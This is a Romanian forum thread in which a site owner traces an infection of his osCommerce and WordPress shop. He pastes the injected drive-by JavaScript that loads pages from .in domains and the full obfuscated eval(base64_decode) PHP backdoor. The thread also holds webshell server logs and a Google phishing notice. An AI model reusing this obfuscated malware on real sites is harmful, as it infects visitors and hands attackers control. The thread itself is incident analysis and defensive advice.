Hacked websites : prevenire si combatere

1 612 vizualizări
50 răspunsuri
autor subiect #16
Hotoman
MW Addicted
4261 mesaje
din 16/02/2009
13 aprecieri
14 februarie 2011, 20:50:37 • actualizat 14 februarie 2011, 21:54:06 (12 ori)
http://zmeu.net/magazin se incarca CATEODATA codul
<td style="background:url(images/p2.jpg) no-repeat top right;">
<!-- end -->
<div style="display: block;overflow:hidden;width:0;height:0;left:0px;position:absolute;top:0px"><img id="2314" height="1" width="1"><img src="about:blank" onerror="astro=unescape("%27");astru=unescape("%22");sksa=eval("document.getElementById("+astro+"seaid"+astro+")
.src=unescape("+astro+"%68%74%74%70%3A%2F%2F"+astro+")+document.getElementById("+astro+"2314"+astro+")
.id+unescape("+astro+"%2E%69%6E%2F"+astro+")+"+astro+"1297658728"+astro+"+unescape("+astro+"%2E%70%68%70"+astro+")");document.getElementById("seaid").src=sksa" style="width:300;height:300;border:0px;"><iframe id="seaid" src="./1297658728.htm"></iframe></div>
<!-- header_eof //-->


iar in browser se downloadeaza fisierele
1) 1297658728.htm
2) dududu.js
eval(document.getElementsByTagName('textarea')[9-9].value);eval(evcont);
3) kqfzcmxokrkve.htm
<!-- saved from url=(0032)http://2314.in/kqfzcmxokrkve.asx -->
<html><body marginwidth="0" marginheight="0" bgcolor="rgb(38,38,38)"><embed width="100%" height="100%" name="plugin" src="http://2314.in/kqfzcmxokrkve.asx" type="video/x-ms-asf"></body></html>
asta spre finalul headerului dar toate fisierele care ti de header sunt cele originale de unde naiba vine codul ala? am cautat in tot magazinul ceva gen encode base65 str etc si nimic


lol vad ca acum http://2314.in te redirrectioneaza spre google.com
Publicitate
Publicitate
autor subiect #17
Hotoman
MW Addicted
4261 mesaje
din 16/02/2009
13 aprecieri
14 februarie 2011, 23:38:23 • actualizat 14 februarie 2011, 23:47:10 (2 ori)
haide fratilor nu mi dati vreo idee? ce sa caut in fisere ca asa par toate nemodificate la sange. e posibil sa ruleze codul php dintr-o imagine?
cum dracu acum antivirus vorbeste de http://2231.in in loc de http://2314.in
idiotul asta e proprietarul al tot ce se termina cu .in ??

http://2231.in/czcvxtjofzyw3.jar/a.class

am observat ca se executa acest cod doar o data pe ip , ca sa ma alerteze iar kaspersky tebuie sa innoiesc ip ul.

Cum contactez hostul si domain registrar pentru porcariile aste de domenii .in ?
autor subiect #18
Hotoman
MW Addicted
4261 mesaje
din 16/02/2009
13 aprecieri
15 februarie 2011, 00:22:26 • actualizat 15 februarie 2011, 00:54:34 (1 ori)
gata l am prins pe nenorocit. era ultima linie din includes/header.php beyond compare imi arata dar era o linie rosie la fund s greu de observat
<?php eval(base64_decode("ZnVuY3Rpb24gZXZhbGhJT29MZ0xLWlltdEooJHMpe2ZvciAoJGEgPSAwOyAkYSA8PSBzdHJsZW4oJHMpLTE7ICRhKysgKXskZSAuPSAkc3tzdHJsZW4oJHMpLSRhLTF9O31yZXR1cm4oJGUpO31ldmFsKGV2YWxoSU9vTGdMS1pZbXRKKCc7KSkiPTAzT3BBVFdMbEdUUnhtYzBsa1VxNTBUc0ZtZGxSQ0tsUjJialZHWmZSak5sTlhZaUJpYnlWSGRsSjNlZ2tDTVp0VWFNRkZieVJYU1NwbVRQeFdZMlZHSm9rMVNweFVVc0pIZEpKbGFPOUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGhJT29MZ0xLWlltdEooJzspKSI9c1RLaTBUUDNKV2IxY1ZZaWdTV0xsR1RSeG1jMGxrVXE1MFRzRm1kbEJTUGdFMVFTRjNZVGwzVklKbFJ5UlZUNXhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxoSU9vTGdMS1pZbXRKKCc7KSkiN2tpSTkwRVNraG1Vek1tSW9rMVNweFVVc0pIZEpKbGFPOUViaFpYWjlNa1laSlZkaGhsZXhsRVMzVjBhd3hXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxoSU9vTGdMS1pZbXRKKCc7KSkiPXNUS2kwVFBCTkdNU2hVWWlnU1dMbEdUUnhtYzBsa1VxNTBUc0ZtZGwxamUybFhlcVYwWmhSM1EycEhjRnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxoSU9vTGdMS1pZbXRKKCc7KSkiPXNUS2kwRE5YRm1Jb2sxU3B4VVVzSkhkSkpsYU85RWJoWlhaOXNXWVNCWFNpVkVWaHAxVWl4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsaElPb0xnTEtaWW10SignOykpIj1zVEtpMFRQUmxrZGtkVlNpZ1NXTGxHVFJ4bWMwbGtVcTUwVHNGbWRsMVRUbnQwUnZoWFRIUlZTWVprVGF4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsaElPb0xnTEtaWW10SignOykpIj09d09kbGlJVlZUVlNoa1J3ZzFVV0JUVldsalJWVmxVR05sSW9rMVNweFVVc0pIZEpKbGFPOUViaFpYWmJKVlJXSlZSVDlGSjlVRmJKRm5heGQyUkpwMmR6eFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGhJT29MZ0xLWlltdEooJzspKSI9PXdPcGtpSTkwelpqeEdldGxGZEcxV1ZpZ1NXTGxHVFJ4bWMwbGtVcTUwVHNGbWRsQkNMcElDTldka1cxWjBWWEpDS1p0VWFNRkZieVJYU1NwbVRQeFdZMlZHSXNraUk5a0VXYUpEYkhGbWFLaFZXbVowVmhKQ0tadFVhTUZGYnlSWFNTcG1UUHhXWTJWR0lza2lJd2tUYlI5a1RXUmxJb2sxU3B4VVVzSkhkSkpsYU85RWJoWlhaZ3dTS2kwVFF1TldNNEpUVmlnU1dMbEdUUnhtYzBsa1VxNTBUc0ZtZGxCQ0xwSUNiNEpqVzJsak1TSkNLWnRVYU1GRmJ5UlhTU3BtVFB4V1kyVkdLNUZtY3lGR0k5QVNZNmhIU3Y1V1FtbFVlUWRtZHp4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsaElPb0xnTEtaWW10SignOykpIj09d09STmtVeE4yVTVkRlNTWmtjVTFVZXNGbWRsUlNQdVExYk0xV1NZTjNUWGhFWllaRmJoWlhaa0FTS2dzeUtwUkNJN1VESTl3RElwUkNJN0FESTlBU2FrZ0NJeTltWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGhJT29MZ0xLWlltdEooJzspKSI3a1NLaTBUUFJaMk5ybDNZcmRXZWpCVE5YcEZNMUlqWXFsalJreEdaeWdGYjRkVll0SlVSSlZuU1lSR01XMTJZM0kwVUxwblVEdGtlajFtV25Sak1pQm5VemtWZFc1bVdpZ1NXTGxHVFJ4bWMwbGtVcTUwVHNGbWRsaENiaFpYWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGhJT29MZ0xLWlltdEooJzspKSI9PXdPUk5rVXhOMlU1ZEZTU1prY1UxVWVzRm1kbFJpTGk0aUk5NENJVTlHVHRsRVd6OTBWSVJHV1d4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsaElPb0xnTEtaWW10SignOykpIjkxM094azFTcHhVVXNKSGRKSmxhTzlFYmhaWFprQXlib05XWjcwVk1iRlRXTGxHVFJ4bWMwbGtVcTUwVHNGbWRsUkNJOUFTTVp0VWFNRkZieVJYU1NwbVRQeFdZMlZHSmdzVEt4azFTcHhVVXNKSGRKSmxhTzlFYmhaWFprd1NUbnQwUnZoWFRIUlZTWVprVGF4V1kyVkdKb1VHWnZ4R2M0VkdJOUFTTVp0VWFNRkZieVJYU1NwbVRQeFdZMlZHSjdsU0tOZDJTSDlHZU5kRVZKaGxST3BGYmhaWFprd1NNWnRVYU1GRmJ5UlhTU3BtVFB4V1kyVkdKb0lIZHpKSGR6aENJbWwyT3BrU1hwSVNWT0ZEVkpsalJWVmxVR05sSW9rMVNweFVVc0pIZEpKbGFPOUViaFpYWmJKVlJXSlZSVDlGSm9VR1p2Tm1ibHhtYzE1U0tpa3padHBrSW9rMVNweFVVc0pIZEpKbGFPOUViaFpYWnVrU1ZzbFVjcUYzWkhsa2EzTkhiaFpYWmtnU1prOTJZdVZHYnlWbkxwSVNPSjFtU2lnU1dMbEdUUnhtYzBsa1VxNTBUc0ZtZGw1U1hwSVNQSlprVUZaRU1ZWmtVeFFsVFd0V1ZpZ1NXTGxHVFJ4bWMwbGtVcTUwVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvazFTcHhVVXNKSGRKSmxhTzlFYmhaWFp1a2lJOWdEUmpKQ0tadFVhTUZGYnlSWFNTcG1UUHhXWTJWbUxwSXliQzVHVGlnU1dMbEdUUnhtYzBsa1VxNTBUc0ZtZGw1eWFoSkZjSkpXUlVGbVdUSkdiaFpYWms0U0tpMFRQM3hrSW9rMVNweFVVc0pIZEpKbGFPOUViaFpYWnVRMWJNMVdTWU4zVFhoRVpZWkZiaFpYWms0U0tpMERPNXhrSW9rMVNweFVVc0pIZEpKbGFPOUViaFpYWnVraUk5MHpaUEpDS1p0VWFNRkZieVJYU1NwbVRQeFdZMlZtTDZaWGU1cFdSbkZHZERabmV3VkViaFpYWmtneU1uWkdJOUFTTVp0VWFNRkZieVJYU1NwbVRQeFdZMlZHSmdzVEt3QURPd0V6S3BnU1p0bEdkc2tTS2kwVFRJUkdhU056WWlnU1dMbEdUUnhtYzBsa1VxNTBUc0ZtZGxoU05rMUdMREpXV1NWWFlZcFhjSmgwZEZ0R2NzRm1kbFJDS2xsMmF2OTJZMFYyY0FCeWVnVTJjc1ZHSTl0SElwa1NLZE5rWVpKVmRoaGxleGxFUzNWMGF3eFdZMlZHSmJWVVNMOTBURDlGSm9RWFp6Tlhhb0FpY3ZCU0twVUZiSkZuYXhkMlJKcDJkenhXWTJWR0pnd2lJcDlpSWc0Q0lwRW1lNGgwYnVGa1pKbEhVblozY3NGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTs="));?>
http://base64decode.org/ devine alt rahat lol
function evalhIOoLgLKZYmtJ($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(evalhIOoLgLKZYmtJ(';))"=03OpATWLlGTRxmc0lkUq50TsFmdlRCKlR2bjVGZfRjNlNXYiBibyVHdlJ3egkCMZtUaMFFbyRXSSpmTPxWY2VGJok1SpxUUsJHdJJlaO9EbhZXZg42bpR3YuVnZ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"=sTKi0TP3JWb1cVYigSWLlGTRxmc0lkUq50TsFmdlBSPgE1QSF3YTl3VIJlRyRVT5xWY2VGJ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"7kiI90ESkhmUzMmIok1SpxUUsJHdJJlaO9EbhZXZ9MkYZJVdhhlexlES3V0awxWY2VGJ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"=sTKi0TPBNGMShUYigSWLlGTRxmc0lkUq50TsFmdl1je2lXeqV0ZhR3Q2pHcFxWY2VGJ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"=sTKi0DNXFmIok1SpxUUsJHdJJlaO9EbhZXZ9sWYSBXSiVEVhp1UixWY2VGJ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"=sTKi0TPRlkdkdVSigSWLlGTRxmc0lkUq50TsFmdl1TTnt0RvhXTHRVSYZkTaxWY2VGJ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"==wOdliIVVTVShkRwg1UWBTVWljRVVlUGNlIok1SpxUUsJHdJJlaO9EbhZXZbJVRWJVRT9FJ9UFbJFnaxd2RJp2dzxWY2VGJ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"==wOpkiI90zZjxGetlFdG1WVigSWLlGTRxmc0lkUq50TsFmdlBCLpICNWdkW1Z0VXJCKZtUaMFFbyRXSSpmTPxWY2VGIskiI9kEWaJDbHFmaKhVWmZ0VhJCKZtUaMFFbyRXSSpmTPxWY2VGIskiIwkTbR9kTWRlIok1SpxUUsJHdJJlaO9EbhZXZgwSKi0TQuNWM4JTVigSWLlGTRxmc0lkUq50TsFmdlBCLpICb4JjW2ljMSJCKZtUaMFFbyRXSSpmTPxWY2VGK5FmcyFGI9ASY6hHSv5WQmlUeQdmdzxWY2VGJ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"==wORNkUxN2U5dFSSZkcU1UesFmdlRSPuQ1bM1WSYN3TXhEZYZFbhZXZkASKgsyKpRCI7UDI9wDIpRCI7ADI9ASakgCIy9mZ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"7kSKi0TPRZ2Nrl3YrdWejBTNXpFM1IjYqljRkxGZygFb4dVYtJURJVnSYRGMW12Y3I0ULpnUDtkej1mWnRjMiBnUzkVdW5mWigSWLlGTRxmc0lkUq50TsFmdlhCbhZXZ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"==wORNkUxN2U5dFSSZkcU1UesFmdlRiLi4iI94CIU9GTtlEWz90VIRGWWxWY2VGJ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"913Oxk1SpxUUsJHdJJlaO9EbhZXZkAyboNWZ70VMbFTWLlGTRxmc0lkUq50TsFmdlRCI9ASMZtUaMFFbyRXSSpmTPxWY2VGJgsTKxk1SpxUUsJHdJJlaO9EbhZXZkwSTnt0RvhXTHRVSYZkTaxWY2VGJoUGZvxGc4VGI9ASMZtUaMFFbyRXSSpmTPxWY2VGJ7lSKNd2SH9GeNdEVJhlROpFbhZXZkwSMZtUaMFFbyRXSSpmTPxWY2VGJoIHdzJHdzhCIml2OpkSXpISVOFDVJljRVVlUGNlIok1SpxUUsJHdJJlaO9EbhZXZbJVRWJVRT9FJoUGZvNmblxmc15SKikzZtpkIok1SpxUUsJHdJJlaO9EbhZXZukSVslUcqF3ZHlka3NHbhZXZkgSZk92YuVGbyVnLpISOJ1mSigSWLlGTRxmc0lkUq50TsFmdl5SXpISPJZkUFZEMYZkUxQlTWtWVigSWLlGTRxmc0lkUq50TsFmdltlUFZlUFN1Xk4SKi0DMUFmIok1SpxUUsJHdJJlaO9EbhZXZukiI9gDRjJCKZtUaMFFbyRXSSpmTPxWY2VmLpIybC5GTigSWLlGTRxmc0lkUq50TsFmdl5yahJFcJJWRUFmWTJGbhZXZk4SKi0TP3xkIok1SpxUUsJHdJJlaO9EbhZXZuQ1bM1WSYN3TXhEZYZFbhZXZk4SKi0DO5xkIok1SpxUUsJHdJJlaO9EbhZXZukiI90zZPJCKZtUaMFFbyRXSSpmTPxWY2VmL6ZXe5pWRnFGdDZnewVEbhZXZkgyMnZGI9ASMZtUaMFFbyRXSSpmTPxWY2VGJgsTKwADOwEzKpgSZtlGdskSKi0TTIRGaSNzYigSWLlGTRxmc0lkUq50TsFmdlhSNk1GLDJWWSVXYYpXcJh0dFtGcsFmdlRCKll2av92Y0V2cAByegU2csVGI9tHIpkSKdNkYZJVdhhlexlES3V0awxWY2VGJbVUSL90TD9FJoQXZzNXaoAicvBSKpUFbJFnaxd2RJp2dzxWY2VGJgwiIp9iIg4CIpEme4h0buFkZJlHUnZ3csFmdlRCIsICfigSZk9Gbw1Wag4CIi8iIog2Y0FWbfdWZyBHKoYWa"(edoced_46esab(lave'));
#19
TABela
MW Addicted
3963 mesaje
din 05/08/2008
95 aprecieri
15 februarie 2011, 09:58:14 • actualizat 15 februarie 2011, 10:04:34 (2 ori)
Hotoman 14-02-2011 20:50:37
http://zmeu.net/magazin se incarca CATEODATA codul
<td style="background:url(http://napok.info/internet/index.php?=http://www.mobilewave.ro/forum/images/p2.jpg) no-repeat top right;">
<!-- end -->
<div style="display: block;overflow:hidden;width:0;height:0;left:0px;position:absolute;top:0px"><img id="2314" height="1" width="1"><img src="about:blank" onerror=";astro=unescape(;"%27");astru=unescape("%22");sksa=eval("document.getElementById("+astro+"seaid"+astro+")
.src=unescape("+astro+"%68%74%74%70%3A%2F%2F"+astro+")+document.getElementById("+astro+"2314"+astro+")
.id+unescape("+astro+"%2E%69%6E%2F"+astro+")+"+astro+"1297658728"+astro+"+unescape("+astro+"%2E%70%68%70"+astro+")");document.getElementById("seaid").src=sksa" style="width:300;height:300;border:0px;"><iframe id="seaid" src="http://napok.info/internet/index.php?=.&=http://www.mobilewave.ro/forum/1297658728.htm"></iframe></div>
<!-- header_eof //-->


iar in browser se downloadeaza fisierele
1) 1297658728.htm
2) dududu.js
eval(document.getElementsByTagName('textarea')[9-9].value);eval(evcont);
3) kqfzcmxokrkve.htm
<!-- saved from url=(0032)http://2314.in/kqfzcmxokrkve.asx -->
<html><body marginwidth="0" marginheight="0" bgcolor="rgb(38,38,38)"><embed width="100%" height="100%" name="plugin" src="http://napok.info/internet/index.php?=http://2314.in/kqfzcmxokrkve.asx" type="video/x-ms-asf"></body></html>
asta spre finalul headerului dar toate fisierele care ti de header sunt cele originale de unde naiba vine codul ala? am cautat in tot magazinul ceva gen encode base65 str etc si nimic


lol vad ca acum http://2314.in te redirrectioneaza spre google.com
Uitate la codul acesta ce ai scris, cu un proxy server  :D
Deci ca sa-ti dai seama, mai inainte am fost cu un proxy server si mi-a furat adresa scriptu, si l-a rescris. Nu eu l-am rescris  :D

Note: Posts were merged

Poate gresesc , sau nu, dar prin background face toata smecheria. :coolup:

Note: Posts were merged
Stau pe net
[url]http://109.96.116.47[url]
autor subiect #20
Hotoman
MW Addicted
4261 mesaje
din 16/02/2009
13 aprecieri
11 august 2011, 01:45:31
se pare ca siteul meu zmeu e pe lista favorita a hackerilor lol pot doar sa mi fac o idee din loguri
cum fac ei injectiile in oscommerce si acum in wordpress

[08-Aug-2011 18:18:44] PHP Warning: fread() [<a href='function.fread'>function.fread</a>]: Length parameter must be greater than 0 in /home/zmeu/public_html/blog/wp-includes/js/tinymce/themes/advanced/skins/o2k7/img/rem.php on line 16
[08-Aug-2011 18:18:45] PHP Warning: fread() [<a href='function.fread'>function.fread</a>]: Length parameter must be greater than 0 in /home/zmeu/public_html/blog/wp-includes/js/tinymce/themes/advanced/skins/o2k7/img/rem.php on line 16
[08-Aug-2011 18:18:51] PHP Warning: fopen(../../../../../../../../../php.ini) [<a href='function.fopen'>function.fopen</a>]: failed to open stream: Permission denied in /home/zmeu/public_html/blog/wp-includes/js/tinymce/themes/advanced/skins/o2k7/img/rem.php on line 23
[08-Aug-2011 18:18:51] PHP Warning: fwrite(): supplied argument is not a valid stream resource in /home/zmeu/public_html/blog/wp-includes/js/tinymce/themes/advanced/skins/o2k7/img/rem.php on line 24
[08-Aug-2011 18:18:51] PHP Warning: fclose(): supplied argument is not a valid stream resource in /home/zmeu/public_html/blog/wp-includes/js/tinymce/themes/advanced/skins/o2k7/img/rem.php on line 25
[11-Aug-2011 00:17:21] PHP Warning: unlink(../../../../../../../../../../.htaccess) [<a href='function.unlink'>function.unlink</a>]: No such file or directory in /home/zmeu/public_html/blog/wp-includes/js/tinymce/themes/advanced/skins/o2k7/img/cache_00befaac029314c.php on line 16
[11-Aug-2011 00:17:23] PHP Warning: unlink(../../../../../../../../../../../.htaccess) [<a href='function.unlink'>function.unlink</a>]: No such file or directory in /home/zmeu/public_html/blog/wp-includes/js/tinymce/themes/advanced/skins/o2k7/img/cache_00befaac029314c.php on line 17
[11-Aug-2011 00:17:23] PHP Warning: chmod() [<a href='function.chmod'>function.chmod</a>]: No such file or directory in /home/zmeu/public_html/blog/wp-includes/js/tinymce/themes/advanced/skins/o2k7/img/cache_00befaac029314c.php on line 19
[11-Aug-2011 00:17:23] PHP Warning: chmod() [<a href='function.chmod'>function.chmod</a>]: No such file or directory in /home/zmeu/public_html/blog/wp-includes/js/tinymce/themes/advanced/skins/o2k7/img/cache_00befaac029314c.php on line 20
[11-Aug-2011 00:20:12] PHP Warning: Division by zero in /home/zmeu/public_html/blog/wp-includes/js/tinymce/themes/advanced/skins/o2k7/img/frame_script_test_.php on line 35
#21
whiteboy
MW Addicted
5940 mesaje
din 01/03/2008
5 aprecieri
11 august 2011, 01:50:19
care a injectat topicul asta?
autor subiect #22
Hotoman
MW Addicted
4261 mesaje
din 16/02/2009
13 aprecieri
11 august 2011, 01:57:30 • actualizat 11 august 2011, 01:58:17 (1 ori)
asta e un rus dobitoc care foloseste Super Pack v.1.4 (www.lalf.ru) http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=Super+Pack+v.1.4+(www.lalf.ru)#sclient=psy&hl=en&source=hp&q=+%22Super+Pack+v.1.4%22&pbx=1&oq=+%22Super+Pack+v.1.4%22
188.72.250.20 - - [11/Aug/2011:00:20:10 +0300] "POST /blog/wp-includes/js/tinymce/themes/advanced/skins/o2k7/img/8f79a5a77c630815.php?4362af97c8f=1 HTTP/1.1" 200 14124 "-" "Opera/9.23 (Windows NT 5.1; U; ru)"
188.72.250.20 - - [11/Aug/2011:00:20:10 +0300] "POST /blog/wp-includes/js/tinymce/themes/advanced/skins/o2k7/img/8f79a5a77c630815.php?4362af97c8f=1 HTTP/1.1" 200 14870 "-" "Opera/9.23 (Windows NT 5.1; U; ru)"
188.72.250.20 - - [11/Aug/2011:00:20:11 +0300] "GET /blog/wp-includes/js/tinymce/themes/advanced/skins/o2k7/img/frame_script_test_.php HTTP/1.1" 200 1325 "-" "Opera/9.23 (Windows NT 5.1; U; ru)"
#23
ov1d1u
MW Moderator
5625 mesaje
din 12/12/2007
90 aprecieri
Opera Mini
11 august 2011, 08:05:44 • actualizat 11 august 2011, 08:10:41 (1 ori)
OSCommerce e o prada usoara pentru crackeri. Un prieten de-al meu primise in administrare un site bazat pe acesta care avea "bucuria" sa fie hack-uit de un turc de cateva ori pe saptamana. A rezolvat problema destul de usor, dand un nume criptic folder-ului admin. Am gasit si un link care ducea catre un site turcesc de hacking, unde atacatorul avea o lista impresionanta de site-uri atacate, toate bazate pe OSCommerce. De asta e recomandat sa va faceti singuri scripturile pentru site-urile voastre si sa nu le publicati - chiar daca in esenta vor fi chiar mai fragile din punct de vedere al securitatii, gaurile de securitate vor fi mai dificil de descoperit atata timp cat sursa e ascunsa iar atacatorul nu va sti ce se ascunde in spatele interfetei site-ului.

edit: pare-mi-se ca si tu ai aceeasi problema ca a prietenului meu. Se pare ca o gaura de securitate in scriptul ce se ocupa cu uploadarea imaginilor permite utilizatorilor fara drepturi sa uploadeze fisiere. Acele fisiere .php straine care tot apar pe host sunt uploadate prin intermediul images_upload.php (sau cum i-o zice) din admin/
#24
TABela
MW Addicted
3963 mesaje
din 05/08/2008
95 aprecieri
11 august 2011, 10:20:06
Am intalnit careva zi o situatie comica. Cum am apache pe localhost, mai apar copii debili care incearca sami sparga serverul. Verific IP ul si simplu le redirectionez prin htaccess daca sunt acele IP uri valabile.
Eeei ma uit azi dimineata in error log file si vad IP. 127.0.0.1/ ca find atacator  :D Tare. Mi-am dat seama cum a facut. Foarte simplu. Cum scriu eu acum aici.  :D
Stau pe net
[url]http://109.96.116.47[url]
autor subiect #25
Hotoman
MW Addicted
4261 mesaje
din 16/02/2009
13 aprecieri
11 august 2011, 12:16:25 • actualizat 11 august 2011, 12:50:11 (1 ori)
Mersi de sfaturi ovidiu deja le am aplicat de ieri deci sunt pe drumul cel bun. la mine era un rus  :D am instalat niste module de securitate gen iptrap sitemonitor, am redenumit folderul admin si parolat cu htacceess, am bagat htaccess in toate folderele images sa permita doar imagini. interesant ca ala imi baga in fisierul htaccess comanda -f si tot siteul dadea eroare 500 . Daca vad ca tot reusesc sa il hackuiasca, atunci o sa schimb si parola de la baza de date dar nu cred ca le au retinut :lol:
autor subiect #26
Hotoman
MW Addicted
4261 mesaje
din 16/02/2009
13 aprecieri
11 august 2011, 14:35:47
:lol: Phishing notification regarding zmeu.net                                    
Spam
X                                   
Răspundeți
      de la      noreply@google.com
către      abuse@zmeu.net,
admin@zmeu.net,
administrator@zmeu.net,
contact@zmeu.net,
info@zmeu.net,
postmaster@zmeu.net,
support@zmeu.net,
webmaster@zmeu.net
data      3 august 2011, 20:04
subiect      Phishing notification regarding zmeu.net
semnat de      google.com
a
Dear site owner or webmaster of zmeu.net,
We recently discovered that some pages on your site look like a possible phishing attack, in which users are encouraged to give up sensitive information such as login credentials or banking information. We have removed the suspicious URLs from Google.com search results and have begun showing a warning page to users who visit these URLs in certain browsers that receive anti-phishing data from Google.

Below are one or more example URLs on your site which may be part of a phishing attack:

http://zmeu .net/iio/NBmain.php
http://zmeu .net/kg6/NBmain.php
http://zmeu .net/mzi/NBmain.php

Here is a link to a sample warning page:
http://www.google.com/interstitial?url=http%3A//zmeu.net/iio/NBmain.php

We strongly encourage you to investigate this immediately to protect users who are being directed to a suspected phishing attack being hosted on your web site. Although some sites intentionally host such attacks, in many cases the webmaster is unaware because:

1) the site was compromised
2) the site doesn't monitor for malicious user-contributed content
If your site was compromised, it's important to not only remove the content involved in the phishing attack, but to also identify and fix the vulnerability that enabled such content to be placed on your site. We suggest contacting your hosting provider if you are unsure of how to proceed.

Once you've secured your site, and removed the content involved in the suspected phishing attack, or if you believe we have made an error and this is not actually a phishing attack, you can request that the warning be removed by visiting
http://www.google.com/safebrowsing/report_error/?tpl=emailer
and reporting an "incorrect forgery alert." We will review this request and take the appropriate actions.

Sincerely,
Google Search Quality Team

Note: if you have an account in Google's Webmaster Tools, you can verify the authenticity of this message by logging into https://www.google.com/webmasters/tools/siteoverview and going to the Message Center, where a warning will appear shortly.
#27
x_uereb
MW Addicted
1413 mesaje
din 21/01/2007
12 aprecieri
11 august 2011, 15:59:27
Ati infectat si forumul asta cu link-urile voastre:

http://shareimage.ro/images/spp8gb9af2sk3qdfk4z_thumb.jpg
#28
TABela
MW Addicted
3963 mesaje
din 05/08/2008
95 aprecieri
Symbian
11 august 2011, 16:44:52
Nu neaparat. Mai intra in panica antivirusii astia. Totusi ar trebui scoasa codul acela, ca vad ca functioneaza bine mersi :lol:
Stau pe net
[url]http://109.96.116.47[url]
#29
TABela
MW Addicted
3963 mesaje
din 05/08/2008
95 aprecieri
19 octombrie 2011, 10:15:24
Am uitat sa scriu, am decodat scriptul. Se poate rescrie pe ceva altceva...  :D Nu dau exemple.
Stau pe net
[url]http://109.96.116.47[url]
Publicitate
Publicitate
autor subiect #30
Hotoman
MW Addicted
4261 mesaje
din 16/02/2009
13 aprecieri
19 octombrie 2011, 20:43:37
am uitat sa zic astazi iar mi au hackuit zmeu.net ce disperati vin cu coduri din ce in mai complexe
Înapoi la Internet si Rețele
cine e aici?
Subiectul a fost creat la .
Hei! Pentru a putea interacționa cu comunitatea Mobilewave trebuie să ai un cont (care e gratuit) și să fii autentificat.
fortnite map
mowned logo
Inițiator acum 14 ani
Hotoman
MW Addicted
Ultimul acum 11 ani
Hotoman
MW Addicted
Cauta in topic
Unelte topic
Dacă vă place acest articol trimiteți mai departe!
  • Arăta mai bine înainte.. 28% ⋅ 39
  • E frumos dar nu prea 23% ⋅ 32
  • Laser frate! 48% ⋅ 66
Au votat 137 utilizatori
^
Mobilewave.ro logo
MobileWave.ro 2005-2014
© MW v1.0a PhoeniX
0.069⋅7⋅3
Portalul tău de telefoane mobile!